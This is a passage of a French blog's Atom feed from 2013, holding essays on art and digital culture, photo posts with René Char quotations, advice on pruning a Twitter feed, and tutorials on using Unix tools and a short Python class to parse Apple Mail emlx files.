+<p>Tout ceci se pose dans un contexte historique bien particulier, la difficulté de créer pour certains artistes. Que ce soit les impressionnistes en France raillés par les critiques ou bien les jeunes artistes japonais revenant de Paris s'affrontant au mur des artistes établis. L'histoire est bien souvent la même, une nouvelle ère, une nouvelle période, de nouveaux moyens, de nouvelles règles esthétiques. Les anciens résistent aux modernes, les excluent, les moquent ou les transforment en destructeurs du passé. L'appareil culturel des anciens est l'art établi avec ses règles, ses circuits économiques, ses systèmes de validation. Les modernes ne rentrent pas dans le moule et sont donc perçus comme une menace. Et qu'on ne se fasse pas d'illusions, les modernes deviendront des anciens s'ils finissent par s'établir comme référence.</p>
+
+<p>Nous le vivons aujourd'hui dans le monde des arts classiques confrontés au monde numérique et à ses explorations de réseau. L'erreur est bien souvent de penser que c'est le fait que la création soit numérique. C'est en partie le cas. Ce qui a beaucoup modifié les relations et poussé les frontières—et ce n'est que le début—c'est la <strong>numérisation connectée</strong>. L'accélération électrique de l'<a href="/2013/03/13/identite">échange immédiat</a> change beaucoup de choses dans notre relation à cette même information, à sa valeur, à son évolution, à sa mixité créative.</p>
+
+<p>On peut difficilement se revendiquer d'une exploration de nouveaux territoires et dès que le territoire est menaçant soudainement se rappatrier sur la sécurité du système des anciens. Le pas de rêverie vers les nouveaux territoires est à la fois douloureux et libérateur.</p>
+
+</article>
+</div>
+ </content>
+ <link rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+
+
+<entry>
+ <id>tag:la-grange.net,2013-03-15:2013/03/15/condensation</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2013/03/15/condensation"/>
+ <title>La sueur du tofu</title>
+ <published>2013-03-15T23:59:00Z</published>
+ <updated>2013-04-07T15:19:52Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2013/03/15/4515-condensation" alt="condensation"/>
+ <figcaption>15 mars 2013, Montréal, Canada</figcaption>
+</figure>
+
+<div class="extrait">
+ <blockquote cite="urn:isbn:2-07-031918-0">
+ <p>L'expérience que la vie dément, celle que le poète prèfère.</p>
+ </blockquote>
+ <p class="source"><span class="auteur">René Char</span>, <cite class="titre">Recherche de la base et du sommet</cite>.</p>
+</div>
+
+<p>Juste au dessus, là où le bloc de tofu touche le ciel de sa pointe, la condensation s'est dissipée. La montagne se donne à voir, les nuages se sont alignés. Les deux coudes plantés dans la table de bois, le regard perdu sur les goutellettes, je rêve. Que la cuisine est belle quand elle invente des secrets.</p>
+
+</article>
+</div>
+ </content>
+ <link rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+
+
+<entry>
+ <id>tag:la-grange.net,2013-03-14:2013/03/14/jean-talon</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2013/03/14/jean-talon"/>
+ <title>Marché Jean-Talon emballé</title>
+ <published>2013-03-14T23:59:00Z</published>
+ <updated>2013-04-07T13:25:29Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2013/03/03/4484-marche-jean-talon" alt="bâches entourant un bâtiment"/>
+ <figcaption>3 mars 2013, Montréal, Canada</figcaption>
+</figure>
+
+<div class="extrait">
+ <blockquote cite="urn:isbn:2-07-031918-0">
+ <p>L'idéal, disait cet architecte, serait d'édifier une ville sans plis.</p>
+ </blockquote>
+ <p class="source"><span class="auteur">René Char</span>, <cite class="titre">Recherche de la base et du sommet</cite>.</p>
+</div>
+
+<p>Je vous l'emballe ou est-ce pour consommer tout de suite ? Il nous faudra attendre le printemps tardif. L'hiver dure 6 mois et plus à Montréal. Et le <a href="http://www.marche-jean-talon.com/">marché</a> retrouvera ces couleurs.</p>
+
+</article>
+</div>
+ </content>
+ <link rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+
+
+<entry>
+ <id>tag:la-grange.net,2013-04-06:2013/04/06/gerer-flux</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2013/04/06/gerer-flux"/>
+ <title>Gérer le flux d'informations</title>
+ <published>2013-04-06T23:59:00Z</published>
+ <updated>2013-04-07T12:59:53Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2013/03/03/4509-karl" alt="Homme assis et statue de bouddha en vitrine"/>
+ <figcaption>3 mars 2013, Montréal, Canada</figcaption>
+</figure>
+
+<div class="extrait">
+ <blockquote cite="urn:isbn:2-07-031918-0">
+ <p>La tentation de s'effacer derrière le pullulement des mains.</p>
+ </blockquote>
+ <p class="source"><span class="auteur">René Char</span>, <cite class="titre">Recherche de la base et du sommet</cite>.</p>
+</div>
+
+<p>Tous les trois ou quatre mois, je réarrange les flux entrants de mon <a href="https://mobile.twitter.com/karlpro">compte twitter</a>. Je réduis les sources d'informations de façon à pouvoir continuer à gérer celles-ci. J'essaie de ne pas dépasser 150 et idéalement j'essaie de rester autour de 100. Je procède un peu de la façon suivante :</p>
+
+<ol>
+ <li>Prendre la timeline avec les dernières publications</li>
+ <li>Cliquer sur chaque compte twitter</li>
+ <li>Regarder la fréquence et le contenu des messages</li>
+ <li>Arrêter de suivre ce compte si je <strong>ne me sens plus/pas capable de gérer cette information</strong></li>
+</ol>
+
+<p>Mon incapacité à gérer une information entrante est complexe et je ne suis pas tout à fait sûr de connaître moi-même tous les critères mais en voici quelques uns :</p>
+
+<ul>
+ <li><strong>Le volume (ou fréquence des messages)</strong> : Quand un compte émet beaucoup trop de messages, je deviens soit en incapacité de le lire, soit il écrase tous les autres dans le flux. <strong>Je lis mon compte twitter</strong> et je tiens à comprendre ce que lis. Je ne peux pas lire 1000 personnes.</li>
+ <li><strong>Le ton du message</strong> : Les messages à caractères agressifs—c'est un sujet sur lequel je dois revenir un jour— et/ou négatifs ont un fort impact émotionnel. Je préfère rêver que d'avoir à gérer l'émotion que cela crée sur le long terme. Un seul tweet peut tourner dans votre tête pendant très longtemps.</li>
+ <li><strong>Le contenu du message</strong> : Nos intérêts changent, nos envies de lire certaines choses aussi. Il y a des sujets qui ne m'intéressent pas ou plus beaucoup.</li>
+</ul>
+
+<p>Il semble que je peine les gens lorsque je réalise cette nouvelle organisation. L'enjeu est peut-être que les réseaux sociaux invitent à amplifier la notion d'amitié dans le lien social. Hors ironie de la chose, si je soustrais les amis « geeks » (travaillant dans un milieu proche des technologies numériques) <strong>aucun</strong> de mes autres amies sont sur twitter. La réalité sociale est là aussi. Il est possible que je n'utilise pas les outils comme twitter de la même façon que la plupart des autres. Je ne sais pas. <strong>Je serais toujours un apprenti</strong>.</p>
+
+<p>Aujourd'hui, on m'a demandé mais comment communiques-tu avec tes amis ? C'est simple. Les rencontres physiques, le courrier électronique, le courrier postal et parfois mais très rarement le téléphone (je n'aime pas le téléphone).</p>
+
+
+</article>
+</div>
+ </content>
+ <link rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+
+<entry>
+ <id>tag:la-grange.net,2013-03-13:2013/03/13/identite</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2013/03/13/identite"/>
+ <title>Une identité et son histoire</title>
+ <published>2013-03-13T23:59:00Z</published>
+ <updated>2013-04-06T16:51:11Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2013/03/03/4480-poster" alt="Affiche se désagrégant"/>
+ <figcaption>3 mars 2013, Montréal, Canada</figcaption>
+</figure>
+
+<div class="extrait">
+ <blockquote cite="urn:isbn:2-07-031918-0">
+ <p>Nous touchons au temps du suprême désespoir et de l'espoir pour rien, au temps indescriptible.</p>
+ </blockquote>
+ <p class="source"><span class="auteur">René Char</span>, <cite class="titre">Recherche de la base et du sommet</cite>.</p>
+</div>
+
+<p>L'identité d'une personne est faite des scories d'actions persistantes et que l'on retrouve dans le passé, par la mémoire et par les écrits. Nous sélectionnons, nous oublions, nous nous désagrégeons. Les faits existent dans la matérialité de leurs supports. Il est sculpté, imprimé, reproduit et distribué. L'imprimerie a étendue notre identité dans un matériau extrêment durable, le papier, mais difficile à déplacer. L'accélération électrique a rendu cette matérialité innaccessible à notre regard. Il y a toujours stockage dans un matériau (magnétique, optique) sous forme d'unités électriques, mais cette matérialité est imperceptible physiquement pour les humains. Nous avons besoin d'outils externes afin de pouvoir agrandir et convertir l'information sur un support pour la rendre intelligible. La survie des faits et donc de notre identité n'est donc plus dans la durabilité du matériau conservant le message, mais bien dans la capacité à reproduire et reconvertir l'algorithme de conservation des faits. Les algorithmes de reproduction sont donc devenus essentiels. </p>
+
+<p>L'accélération électrique a également changé brutalement l'immédiateté d'accès. Quelque soit le lieu sur Terre, il n'est pas plus éloigné d'un autre que 20 000 km environ. La vitesse du courant électrique dépend du matériau dans lequel il se propage. Dans le cuivre, elle est de 273 000 km/s. Il faut ainsi 0,07 seconde pour atteindre (théoriquement) tout point sur Terre. L'immédiateté de la réalisation et de la transmission de nos faits changent la compréhension et l'utilisation de ces faits. <strong>Une fois publié, un fait est potentiellement accessible partout au même moment de sa propre réalisation.</strong></p>
+
+<p>Le monde électrique est très efficace à reproduire et transmettre en grand nombre. Les coûts associés une fois l'infrastructure en place sont minimes. Et c'est bien pour cela que toutes les économies reposant en partie sur la difficulté à reproduire et transmettre une information sont secouées. Mais ce qui semble émerger aujourd'hui est l'accélération de la <a href="/2011/05/17/robots">construction de notre identité à venir</a>. Les algorithmes définissent très rapidement ce que nous devons être dans le futur et de façon beaucoup plus efficace que le « Mon enfant, tu reprendas l'activité professionnelle de tes parents. » Ils ajustent notre futur par petites touches en nous poussant dans une direction. Ce sont des suggestions inévitables qui finalement conditionnent notre futur.</p>
+
+<p>L'impression est que notre identité ne se désagrège pas mais elle se construit avec une forme prédéterminée algorithmiquement.</p>
+
+</article>
+</div>
+ </content>
+ <link rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+
+<entry>
+ <id>tag:la-grange.net,2013-03-11:2013/03/11/velos</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2013/03/11/velos"/>
+ <title>Optimisation des systèmes</title>
+ <published>2013-03-11T23:59:00Z</published>
+ <updated>2013-04-06T15:42:02Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2013/03/09/4514-velos" alt="Rack à vélos"/>
+ <figcaption>9 mars 2013, Montréal, Canada</figcaption>
+</figure>
+
+<div class="extrait">
+ <blockquote cite="urn:isbn:2-07-031918-0">
+ <p>Le plus difficile est de distinguer la brouette du jardinier, le nez du profil, et de n'en tenir qu'<i>imperceptiblement</i> compte.</p>
+ </blockquote>
+ <p class="source"><span class="auteur">René Char</span>, <cite class="titre">Recherche de la base et du sommet</cite>.</p>
+</div>
+
+<p>Ce simple rangement à vélos a généré les questions suivantes :</p>
+
+<ul>
+ <li>Que choisit-on d'optimiser ?</li>
+ <li>Quels sont les axes retenues pour cette optimisation ?</li>
+ <li>Quels sont les coût de création de l'optimisation, de l'expérimentation ?</li>
+ <li>Comment observe-t-on le comportement des utilisateurs face à un nouveau dispositif ?</li>
+ <li>Quelles sont les contraintes (inconnues) que nous créons avec un nouveau dispositif ?</li>
+</ul>
+
+</article>
+</div>
+ </content>
+ <link rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+
+
+<entry>
+ <id>tag:la-grange.net,2013-03-10:2013/03/10/adaptabilite</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2013/03/10/adaptabilite"/>
+ <title>Notre capacité à s'adapter</title>
+ <published>2013-03-10T23:59:00Z</published>
+ <updated>2013-04-04T21:05:04Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2008/03/22/9646-transfo" alt="transformateurs électriques"/>
+ <figcaption>22 mars 2008, Tokyo, Japon</figcaption>
+</figure>
+
+<div class="extrait">
+ <blockquote cite="urn:isbn:2-07-031918-0">
+ <p>Ses tombeaux vides<br/>
+ Le monde qui plane<br/>
+ Va-t-il retomber ?
+ </p>
+ </blockquote>
+ <p class="source"><span class="auteur">René Char</span>, <cite class="titre">Recherche de la base et du sommet</cite>.</p>
+</div>
+
+<p>Les accidents sont courants et n'ont pas tous la même gravité. Lors de catastrophes économiques, personnelles, naturelles, géopolitiques, il est bon de pouvoir définir sa propre capacité à s'adapter au changement brutal de l'environnement. Pour mieux découvrir cette capacité, Vinay Gupta a créé une carte permettant de définir votre <a href="http://resiliencemaps.org/">dépendance face aux infrastructures essentielles de votre quotidien</a>.</p>
+
+<figure>
+ <img src="/2013/03/10/resilience-map" alt="Carte schématique"/>
+ <figcaption>Exemple concret de cartes de dépendances (pas la mienne)</figcaption>
+</figure>
+
+
+</article>
+</div>
+ </content>
+ <link rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+
+
+
+<entry>
+ <id>tag:la-grange.net,2013-03-30:2013/03/30/parsing-emlx</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2013/03/30/parsing-emlx"/>
+ <title>Traitement des fichiers EMLX (Mac OSX email format)</title>
+ <published>2013-03-30T13:03:00Z</published>
+ <updated>2013-03-30T14:19:43Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2008/04/05/9862-camelias" alt="Camélias roses"/>
+ <figcaption>5 avril 2008, Tokyo, Japon</figcaption>
+</figure>
+
+<div class="extrait">
+ <blockquote cite="urn:isbn:2-07-031918-0">
+ <p>La laideur ! Ce contre quoi nous appelons n'est pas la laideur opposable à la beauté, dont les arts et le désir effacent et retracent continuellement la frontière. Laideur vivante, beauté, toutes deux les énigmatiques, sont réellement ineffables. Celle qui nous occupe, c'est la laideur qui décompose sa proie.</p>
+ </blockquote>
+ <p class="source"><span class="auteur">René Char</span>, <cite class="titre">Recherche de la base et du sommet</cite>.</p>
+</div>
+
+<p><a href="/2013/03/29/sort-string">Hier</a>, j'ai utilisé les outils Unix pour découvrir les mails et extraire une information. Si je devais traiter l'ensemble des courriers qui sont disponibles sur mes différents comptes depuis 20 ans, il est intéressant de déterminer avant tout le volume de message a traiter. </p>
+
+<h2 id="comprendre-le-volume-des-donnees">Comprendre le volume des données</h2>
+
+<p>J'ajoute time pour savoir combien de temps, la commande va prendre.</p>
+
+<pre><code>time find ~/Library/Mail/V2 -name *emlx | wc -l
+</code></pre>
+
+<p>Le résultat est surprenant. Il aura fallu uniquement 1m 53s pour découvrir les 698 101 fichiers emlx contenus sur mon ordinateur. Utilisant les mêms techniques qu'hier, je pourrais décider d'explorer les différents en-têtes de courrier. Par exemple, si je désire extraire l'en-tête <code>Content-Type</code> :</p>
+
+<pre><code>→ time find ~/Library/Mail/V2 -type f -print0 -name *emlx | xargs -0 grep -ih "^content-type" &gt; mail-content-type.txt
+</code></pre>
+
+<p>Il faudra un peu moins de 22 minutes pour parcourir tous les fichiers.</p>
+
+<pre><code>real 21m32.861s
+user 4m36.128s
+sys 1m29.399s
+</code></pre>
+
+<p>Cependant il y a un enjeu, la commande va également extraire des éléments qui ne sont pas contenus dans les en-têtes, mais également dans le corps. Les en-têtes des courriers peuvent aussi <a href="https://tools.ietf.org/html/rfc5322#section-2.2.3">s'écrire sur plusieurs lignes</a> (RFC 5322).</p>
+
+<pre><code>→ wc -l mail-content-type.txt
+989611 mail-content-type.txt
+</code></pre>
+
+<h2 id="emlx-un-format-proprietaire-de-apple">EMLX, Un format propriétaire de Apple</h2>
+
+<p>D'autre part, le fichier de stockage des emails sur MacOSX est <a href="https://the.taoofmac.com/space/blog/2008/03/03/2211">un format propriétaire, emlx</a>, (texte heureusement). <span class="note">J'ai changé quelques chaînes de caractères dans le message uniquement pour éviter la connexion trop directe entre les données et l'action des robots.</span></p>
+
+<pre><code>875
+X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on xxxxxx.la-grange.net
+X-Spam-Level:
+X-Spam-Status: No, score=-3.2 required=4.2 tests=BAYES_00,RP_MATCHES_RCVD,
+ SPF_PASS,TVD_SPACE_RATIO autolearn=ham version=3.3.2
+Received: from [127.0.0.1] (xxxxxx.xx-xxxxxx.xxx [111.11.11.11])
+ by xxxxxx.xx-xxxxxx.xxx (8.14.5/8.14.5) with ESMTP id r2TN8m4U099571
+ for &lt;xxxx@xx-xxxxxx.xxx&gt;; Fri, 29 Mar 2013 19:08:48 -0400 (EDT)
+ (envelope-from xxxx@xx-xxxxxx.xxx)
+Subject: very simple
+From: Karl Dubost &lt;xxxx@xx-xxxxxx.xxx&gt;
+Content-Type: text/plain; charset=us-ascii
+Message-Id: &lt;4E83618E-BB56-404F-8595-87352648ADC7@xx-xxxxxx.xxx&gt;
+Date: Fri, 29 Mar 2013 19:09:06 -0400
+To: Karl Dubost &lt;xxxx@xx-xxxxxx.xxx&gt;
+Content-Transfer-Encoding: 7bit
+Mime-Version: 1.0 (Apple Message framework v1283)
+X-Mailer: Apple Mail (2.1283)
+
+message Foo
+--
+Karl Dubost
+http://www.la-grange.net/karl/
+&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"&gt;
+&lt;plist version="1.0"&gt;
+&lt;dict&gt;
+ &lt;key&gt;date-sent&lt;/key&gt;
+ &lt;real&gt;1364598546&lt;/real&gt;
+ &lt;key&gt;flags&lt;/key&gt;
+ &lt;integer&gt;8590195713&lt;/integer&gt;
+ &lt;key&gt;original-mailbox&lt;/key&gt;
+ &lt;string&gt;imap://xxxxxxxx@127.0.0.1:11143/mail/2013/03&lt;/string&gt;
+ &lt;key&gt;remote-id&lt;/key&gt;
+ &lt;string&gt;41147&lt;/string&gt;
+ &lt;key&gt;subject&lt;/key&gt;
+ &lt;string&gt;very simple&lt;/string&gt;
+&lt;/dict&gt;
+&lt;/plist&gt;
+</code></pre>
+
+<p>Le message est composé de trois parties :</p>
+
+<ul>
+<li>un entier sur la première ligne signifiant le nombre d'octets du message texte</li>
+<li>le message texte</li>
+<li>la copie texte d'un fichier XML (le format plist de Apple)</li>
+</ul>
+
+<p>La <a href="http://www.jwz.org/blog/2005/07/emlx-flags/">troisième partie</a> contient une chaîne de caractères magique appelée <code>flags</code>:</p>
+
+<table lang="en">
+ <caption>Meaning of emlx flags integer data</caption>
+ <thead>
+ <tr>
+ <th>position</th>
+ <th>meaning</th>
+ <th>length</th>
+ </tr>
+ </thead>
+ <tbody>
+<tr><td>0</td><td>read </td><td>1 &lt;&lt; 0</td></tr>
+<tr><td>1</td><td>deleted</td><td>1 &lt;&lt; 1</td></tr>
+<tr><td>2</td><td>answered </td><td>1 &lt;&lt; 2</td></tr>
+<tr><td>3</td><td>encrypted </td><td>1 &lt;&lt; 3</td></tr>
+<tr><td>4</td><td>flagged</td><td>1 &lt;&lt; 4</td></tr>
+<tr><td>5</td><td>recent </td><td>1 &lt;&lt; 5</td></tr>
+<tr><td>6</td><td>draft </td><td>1 &lt;&lt; 6</td></tr>
+<tr><td>7</td><td>initial (no longer used) </td><td>1 &lt;&lt; 7</td></tr>
+<tr><td>8</td><td>forwarded </td><td>1 &lt;&lt; 8</td></tr>
+<tr><td>9</td><td>redirected </td><td>1 &lt;&lt; 9</td></tr>
+<tr><td>10-15</td><td>attachment count </td><td>3F &lt;&lt; 10 (6 bits)</td></tr>
+<tr><td>16-22</td><td>priority level </td><td>7F &lt;&lt; 16 (7 bits)</td></tr>
+<tr><td>23</td><td>signed </td><td>1 &lt;&lt; 23</td></tr>
+<tr><td>24</td><td>is junk</td><td>1 &lt;&lt; 24</td></tr>
+<tr><td>25</td><td>is not junk</td><td>1 &lt;&lt; 25</td></tr>
+<tr><td>26-28</td><td>font size delta</td><td>7 &lt;&lt; 26 (3 bits)</td></tr>
+<tr><td>29</td><td>junk mail level recorded </td><td>1 &lt;&lt; 29</td></tr>
+<tr><td>30</td><td>highlight text in toc </td><td>1 &lt;&lt; 30</td></tr>
+<tr><td>31</td><td>(unused)</td><td/></tr>
+ </tbody>
+</table>
+
+<h2 id="extraire-la-structure-initiale-des-fichiers-emlx">Extraire la structure initiale des fichiers EMLX</h2>
+
+<p>J'ai créé un <a href="https://gist.github.com/karlcow/5276813">petit programme</a> très simple en <a href="http://docs.python.org/3.3/">python 3.3</a> pour renvoyer la structure initiale des fichiers EMLX afin de les rendre exploitables dans leur structure logique. L'inspiration initiale vient du <a href="https://the.taoofmac.com/space/blog/2008/03/03/2211">programme de Rui Carmo</a>.</p>
+
+<pre><code>#!/usr/bin/env python
+# encoding: utf-8
+"""emlx.py
+
+Class to parse email stored with Apple proprietary emlx format
+Created by Karl Dubost on 2013-03-30
+Inspired by Rui Carmo — https://the.taoofmac.com/space/blog/2008/03/03/2211
+MIT License"""
+
+
+import email
+import plistlib
+
+
+class Emlx(object):
+ """An apple proprietary emlx message"""
+ def __init__(self):
+ super(Emlx, self).__init__()
+ self.bytecount = 0
+ self.msg_data = None
+ self.msg_plist = None
+
+ def parse(self, filename_path):
+ """return the data structure for the current emlx file
+ * an email object
+ * the plist structure as a dict data structure
+ """
+ with open(filename_path, "rb") as f:
+ # extract the bytecount
+ self.bytecount = int(f.readline().strip())
+ # extract the message itself.
+ self.msg_data = email.message_from_bytes(f.read(self.bytecount))
+ # parsing the rest of the message aka the plist structure
+ self.msg_plist = plistlib.readPlistFromBytes(f.read())
+ return self.msg_data, self.msg_plist
+
+if __name__ == '__main__':
+ msg = Emlx()
+ message, plist = msg.parse('your_message.emlx')
+ # print(message)
+ # Access to one of the email headers
+ print(message['subject'])
+ # Access to the plist data
+ print(plist)
+</code></pre>
+
+<p>La classe lit le message, sépare la partie texte du fichier XML, créé un objet <code>email</code> ainsi qu'une structure JSON pour le fichier XML.</p>
+
+<p>Un petit test en donnant le bon chemin pour votre message EMLX, dans le cas du message ci-dessus, le programme retourne :</p>
+
+<pre><code>very simple
+{'subject': 'very simple', 'date-sent': 1364598546.0, 'remote-id': '41147', 'flags': 8590195713, 'original-mailbox': 'imap://xxxxxxxx@127.0.0.1:11143/mail/2013/03'}
+</code></pre>
+
+<p>Bon Hack !</p>
+
+<p class="note">Il serait bien de créer un petit parseur pour l'entier du fichier plist et de retourner une structure de données pertinentes comme un dictionnaire Python.</p>
+
+</article>
+</div>
+ </content>
+ <link rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+
+<entry>
+ <id>tag:la-grange.net,2013-03-29:2013/03/29/sort-string</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2013/03/29/sort-string"/>
+ <title>Tri de caractères avec sort, grep, find, sed</title>
+ <published>2013-03-29T12:19:00Z</published>
+ <updated>2013-03-29T13:58:25Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2008/03/29/9763-disque" alt="Pochette de disque et plante"/>
+ <figcaption>29 mars 2013, Tokyo, Japon</figcaption>
+</figure>
+
+<div class="extrait">
+ <blockquote cite="urn:isbn:2-07-031918-0">
+ <p>Le poète qui versifie en marchant bouscule de son talon frangé d'écume des centaines de mots à ce coup inutiles ; de même un vaste ouvrage qui surgit en se construisant alerte et fait pleuvoir d'insolites projectiles. Tous deux taillent leur énigme à l'éclair d'y toucher. En cet air, l'espace s'illumine et le sol s'obscurcit.</p>
+ </blockquote>
+ <p class="source"><span class="auteur">René Char</span>, <cite class="titre">Recherche de la base et du sommet</cite>.</p>
+</div>
+
+<p>Les outils unix sont toujours performants et excessivement <a href="http://karlcow.github.com/websurvey/doc/report-2012-08-top1000.html">pratiques</a>. <code>|</code> (<span lang="en">pipe</span>) pour chaîner les actions est le complément de l'articulation des données entrée-sortie. Cette semaine, le spam passant à travers <a href="https://spamassassin.apache.org/">SpamAssassin</a> me semblait augmenter. Muni des outils <code>find</code>, <code>grep</code>, <code>sed</code>, <code>sort</code>, <code>uniq</code>, <code>xargs</code>, j'ai exploré ce que j'effaçais manuellement. Je n'ai pas appris tant que cela à propos du spam que je recevais mais en revanche, beaucoup plus sur l'utilisation des outils.</p>
+
+<h2 id="trouver-les-courriers-effaces">Trouver les courriers effacés</h2>
+
+<p>Les courriers effacés de Mail.app se trouvent sur Mac OS X 10.7.5 dans le dossier</p>
+
+<pre><code>~/Library/Mail/V2/Mailboxes/Deleted Messages
+</code></pre>
+
+<p>Ce chemin contient un espace entre <code>Deleted</code> et <code>Messages</code> qu'il faudra gérer en utilisant le caractère <code>\</code>. Les courriers sont conservés individuellement dans des fichiers qui se terminent par l'extension <code>emlx</code>. Utilisons <code>find</code> pour explorer et trouver les courriers.</p>
+
+<pre><code>find ~/Library/Mail/V2/Mailboxes/Deleted\ Messages* -name *emlx
+</code></pre>
+
+<p>Cela renvoie une liste de tous les chemins (un par ligne) se terminant par <code>emlx</code>. Pour être sûr, que nous n'allons récupérer que les fichiers et non les répertoires, ajoutons <code>type f</code>.</p>
+
+<pre><code>find ~/Library/Mail/V2/Mailboxes/Deleted\ Messages* -type f -name *emlx
+</code></pre>
+
+<p>La liste ressemble donc à ceci :</p>
+
+<pre><code>/Users/karl/Library/Mail/V2/Mailboxes/Deleted Messages.mbox/B2E8CBB2-1440-43AC-B082-42F6500A369C/Data/4/2/7/Messages/724309.emlx
+/Users/karl/Library/Mail/V2/Mailboxes/Deleted Messages.mbox/B2E8CBB2-1440-43AC-B082-42F6500A369C/Data/4/2/7/Messages/724310.emlx
+…
+</code></pre>
+
+<h2 id="traiter-chacun-des-messages">Traiter chacun des messages</h2>
+
+<p>La commande <code>xargs</code> permet d'appliquer un traitement à chacune des lignes reçues. Par exemple nous pourrions obtenir les informations de création et taille avec un simple <code>ls -l</code></p>
+
+<pre><code>find ~/Library/Mail/V2/Mailboxes/Deleted\ Messages* -type f -name *emlx | xargs ls -l
+</code></pre>
+
+<p>Cependant <code>xargs</code> transforme les retours de ligne en espace avant de passer à la commande suivante.</p>
+
+<pre><code>ls: cannot access /Users/karl/Library/Mail/V2/Mailboxes/Deleted: No such file or directory
+ls: cannot access Messages.mbox/B2E8CBB2-1440-43AC-B082-42F6500A369C/Data/4/2/7/Messages/724309.emlx: No such file or directory
+…
+</code></pre>
+
+<p><code>ls</code> identifie donc deux chaînes de caractères à la place d'une seule. Nos chemins contiennent des espaces. Il existe (au moins) une solution pour contourner.</p>
+
+<pre><code>find ~/Library/Mail/V2/Mailboxes/Deleted\ Messages* -type f -name *emlx -print0 | xargs -0 ls -l
+</code></pre>
+
+<p>Il suffit de changer le caractère de séparation <code>-print0</code> avec <code>find</code> et d'utiliser <code>-0</code> pour <code>xargs</code>. Cette fois-ci la liste est cohérente.</p>
+
+<pre><code>-rw------- 1 karl karl 22951 2013-03-28 08:45 /Users/karl/Library/Mail/V2/Mailboxes/Deleted Messages.mbox/B2E8CBB2-1440-43AC-B082-42F6500A369C/Data/4/2/7/Messages/724309.emlx
+-rw------- 1 karl karl 36375 2013-03-28 08:45 /Users/karl/Library/Mail/V2/Mailboxes/Deleted Messages.mbox/B2E8CBB2-1440-43AC-B082-42F6500A369C/Data/4/2/7/Messages/724310.emlx
+…
+</code></pre>
+
+<h2 id="trouver-lexpediteur-pour-chacun-des-messages">Trouver l'expéditeur pour chacun des messages</h2>
+
+<p>L'expéditeur peut se trouver à plusieurs endroits. Parfois cet expéditeur sera un faux expéditeur. Il faut donc être prudent avec l'information que l'on récupère. Les en-têtes pour ajouter l'expéditeur sont <code>From</code>, <code>Sender</code> et parfois <code>X-Sender</code>. Il suffit donc sur chaque message de rechercher ces chaînes de caractères. Nous pouvons utiliser <code>grep</code> et les expressions régulières (<code>regex</code>) avec les conditions suivantes.</p>
+
+<ul>
+<li>se trouve en début de ligne : <code>^</code></li>
+<li>majuscule/minuscule pas signifiant : <code>-i</code></li>
+<li>au choix l'une des chaînes de caractères : <code>OR</code>, soit <code>\|</code></li>
+<li>le résultat ne doit pas afficher le chemin : <code>-h</code></li>
+</ul>
+
+<p>Ce qui nous donne :</p>
+
+<pre><code>find ~/Library/Mail/V2/Mailboxes/Deleted\ Messages* -type f -print0 -name *emlx |xargs -0 grep -h -i "^From:\|^Sender:\|^X-Sender:"
+</code></pre>
+
+<p>Et nous obtenons en retour la liste suivante (juste un extrait) :</p>
+
+<pre><code>From: "United Auto Protection" &lt;kelly.tiffany@hulusarah.com&gt;
+X-Sender: "Editor IJTEMT"
+From: "Editor IJTEMT"
+From: "ups Account Holders Services" &lt;ups-services@ups.com&gt;
+From: Inmac-wstore - Grand Destock &lt;dest_inmac@pky-events.fr&gt;
+From: ABRITEL par CPM Direct &lt;news@deal-comunikis.com&gt;
+Sender: ABRITEL par CPM Direct &lt;news@deal-comunikis.com&gt;
+X-Sender: fixngo@publicite-par-email.com
+</code></pre>
+
+<p>Nous remarquons déjà quelques éléments. Certains champs ne contiennent pas d'adresses éléctroniques. Nous pouvons les éliminer en ne recherchant que les lignes qui contiennent le caractère <code>@</code>.</p>
+
+<pre><code>find ~/Library/Mail/V2/Mailboxes/Deleted\ Messages* -type f -print0 -name *emlx |xargs -0 grep -h -i "^From:\|^Sender:\|^X-Sender:" | grep "@"
+</code></pre>
+
+<p>L'extrait ci-dessus devient :</p>
+
+<pre><code>From: "United Auto Protection" &lt;kelly.tiffany@hulusarah.com&gt;
+From: "ups Account Holders Services" &lt;ups-services@ups.com&gt;
+From: Inmac-wstore - Grand Destock &lt;dest_inmac@pky-events.fr&gt;
+From: ABRITEL par CPM Direct &lt;news@deal-comunikis.com&gt;
+Sender: ABRITEL par CPM Direct &lt;news@deal-comunikis.com&gt;
